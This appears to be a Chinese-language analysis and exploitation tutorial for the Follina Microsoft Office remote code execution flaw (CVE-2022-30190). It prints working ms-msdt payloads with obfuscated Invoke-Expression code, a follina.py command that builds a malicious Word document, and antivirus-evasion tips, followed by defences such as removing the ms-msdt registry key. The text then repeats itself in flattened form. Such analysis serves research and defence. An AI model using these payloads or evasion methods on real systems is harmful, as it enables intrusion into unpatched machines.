Follina Microsoft Office RCE with MS-MSDT Protocol
字数 1952 2025-08-27 12:33:37

Follina Microsoft Office RCE漏洞分析与利用教程

漏洞概述

Follina是一个存在于Microsoft Office中的远程代码执行漏洞(CVE-2022-30190),攻击者可以通过精心构造的Office文档利用MS-MSDT协议执行任意代码。该漏洞绕过了"启用编辑"的安全限制,具有较高的危害性。

漏洞背景

该漏洞最早由nao_sec在推特上披露,随后安全研究人员进行了详细分析。漏洞利用Microsoft Support Diagnostic Tool (MSDT)通过Office文档执行任意PowerShell命令。

技术原理

漏洞利用流程

  1. 攻击者创建包含恶意远程模板的Office文档
  2. 文档加载时从远程服务器获取恶意HTML文件
  3. HTML文件通过location.href跳转到ms-msdt:伪协议
  4. MSDT.exe处理恶意参数执行PowerShell命令

关键组件分析

MS-MSDT协议

  • 注册表位置:HKEY_CLASSES_ROOT\ms-msdt
  • 关联程序:%SystemRoot%\system32\msdt.exe
  • 功能:微软支持诊断工具,用于运行各种诊断包

PCWDiagnostic诊断包

  • 位置:C:\Windows\diagnostics\system\PCW
  • 主要文件:
    • DiagPackage.diagpkg:清单文件
    • TS_ProgramCompatibilityWizard.ps1:实际执行的PowerShell脚本

漏洞利用代码分析

原始PoC中的关键Payload:

location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'YwBhAGwAYwA='+[char]34+')))'))))i/Windows/System32/mpsigstub.exe\"";

精简后的有效Payload:

ms-msdt:/id PCWDiagnostic /param "IT_BrowseForFile=$(Invoke-Expression('calc'))i/Windows/System32/mpsigstub.exe"

其中:

  • YwBhAGwAYwA=是"calc"的Base64编码Unicode字符串
  • 通过嵌套的Invoke-Expression执行任意PowerShell代码

漏洞复现步骤

准备工作

  1. 安装Python环境
  2. 下载PoC工具:https://github.com/chvancooten/follina.py

生成恶意文档

使用follina.py生成包含恶意代码的Word文档:

python follina.py -m command -c "calc"

参数说明:

  • -m:指定模式(command/script/binary)
  • -c:指定要执行的命令

文档结构分析

生成的恶意文档包含以下关键部分:

  1. word/_rels/document.xml.rels:包含远程模板引用
  2. www/exploit.html:包含跳转到ms-msdt协议的JavaScript代码

执行流程

  1. 用户打开恶意文档
  2. Office加载远程模板
  3. 模板中的HTML文件被加载
  4. JavaScript代码触发ms-msdt协议
  5. MSDT.exe执行嵌入的PowerShell命令

技术深入分析

诊断包参数利用

PCWDiagnostic诊断包接受三个关键参数:

  1. IT_RebrowseForFile:文件重新浏览标志
  2. IT_LaunchMethod:启动方法(ContextMenu表示通过上下文菜单启动)
  3. IT_BrowseForFile:要浏览的文件路径(实际被注入代码)

PowerShell代码注入

漏洞利用PowerShell的Invoke-Expression命令执行任意代码:

$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'YwBhAGwAYwA='+[char]34+')))'))))

这段代码:

  1. 构建[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('YwBhAGwAYwA='))字符串
  2. 解码Base64字符串"YwBhAGwAYwA="得到"calc"
  3. 执行结果字符串作为命令

免杀技术

由于参数组合多样,可以通过以下方式实现免杀:

  1. 使用不同的编码方式(如Hex、ASCII编码)
  2. 拆分恶意代码为多个部分
  3. 使用不同的诊断包和参数组合

防御措施

  1. 禁用MSDT协议:
    reg delete HKEY_CLASSES_ROOT\ms-msdt /f
    
  2. 应用微软官方补丁
  3. 禁用Office中的宏和远程模板加载
  4. 使用应用程序控制策略限制msdt.exe的执行

扩展研究

其他Office相关协议

  1. ms-officecmd:可用于启动验证过的Office应用程序
  2. msoffice:与Teams、Skype等应用的交互协议

相关研究资源

  1. Abusing the MS Office protocol scheme
  2. Windows 10 RCE: The exploit is in the link

总结

Follina漏洞通过Office文档、远程模板加载和MS-MSDT协议的组合实现了无需用户交互的RCE。该漏洞展示了协议处理程序在安全链中的重要性,以及参数注入技术的强大威力。防御此类漏洞需要多层次的防护策略,包括协议禁用、补丁管理和应用程序控制等。

Follina Microsoft Office RCE漏洞分析与利用教程 漏洞概述 Follina是一个存在于Microsoft Office中的远程代码执行漏洞(CVE-2022-30190),攻击者可以通过精心构造的Office文档利用MS-MSDT协议执行任意代码。该漏洞绕过了"启用编辑"的安全限制,具有较高的危害性。 漏洞背景 该漏洞最早由nao_ sec在推特上披露,随后安全研究人员进行了详细分析。漏洞利用Microsoft Support Diagnostic Tool (MSDT)通过Office文档执行任意PowerShell命令。 技术原理 漏洞利用流程 攻击者创建包含恶意远程模板的Office文档 文档加载时从远程服务器获取恶意HTML文件 HTML文件通过 location.href 跳转到 ms-msdt: 伪协议 MSDT.exe处理恶意参数执行PowerShell命令 关键组件分析 MS-MSDT协议 注册表位置: HKEY_CLASSES_ROOT\ms-msdt 关联程序: %SystemRoot%\system32\msdt.exe 功能:微软支持诊断工具,用于运行各种诊断包 PCWDiagnostic诊断包 位置: C:\Windows\diagnostics\system\PCW 主要文件: DiagPackage.diagpkg :清单文件 TS_ProgramCompatibilityWizard.ps1 :实际执行的PowerShell脚本 漏洞利用代码分析 原始PoC中的关键Payload: 精简后的有效Payload: 其中: YwBhAGwAYwA= 是"calc"的Base64编码Unicode字符串 通过嵌套的 Invoke-Expression 执行任意PowerShell代码 漏洞复现步骤 准备工作 安装Python环境 下载PoC工具: https://github.com/chvancooten/follina.py 生成恶意文档 使用follina.py生成包含恶意代码的Word文档: 参数说明: -m :指定模式(command/script/binary) -c :指定要执行的命令 文档结构分析 生成的恶意文档包含以下关键部分: word/_rels/document.xml.rels :包含远程模板引用 www/exploit.html :包含跳转到ms-msdt协议的JavaScript代码 执行流程 用户打开恶意文档 Office加载远程模板 模板中的HTML文件被加载 JavaScript代码触发ms-msdt协议 MSDT.exe执行嵌入的PowerShell命令 技术深入分析 诊断包参数利用 PCWDiagnostic诊断包接受三个关键参数: IT_RebrowseForFile :文件重新浏览标志 IT_LaunchMethod :启动方法(ContextMenu表示通过上下文菜单启动) IT_BrowseForFile :要浏览的文件路径(实际被注入代码) PowerShell代码注入 漏洞利用PowerShell的 Invoke-Expression 命令执行任意代码: 这段代码: 构建 [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('YwBhAGwAYwA=')) 字符串 解码Base64字符串"YwBhAGwAYwA="得到"calc" 执行结果字符串作为命令 免杀技术 由于参数组合多样,可以通过以下方式实现免杀: 使用不同的编码方式(如Hex、ASCII编码) 拆分恶意代码为多个部分 使用不同的诊断包和参数组合 防御措施 禁用MSDT协议: 应用微软官方补丁 禁用Office中的宏和远程模板加载 使用应用程序控制策略限制msdt.exe的执行 扩展研究 其他Office相关协议 ms-officecmd :可用于启动验证过的Office应用程序 msoffice :与Teams、Skype等应用的交互协议 相关研究资源 Abusing the MS Office protocol scheme Windows 10 RCE: The exploit is in the link 总结 Follina漏洞通过Office文档、远程模板加载和MS-MSDT协议的组合实现了无需用户交互的RCE。该漏洞展示了协议处理程序在安全链中的重要性,以及参数注入技术的强大威力。防御此类漏洞需要多层次的防护策略,包括协议禁用、补丁管理和应用程序控制等。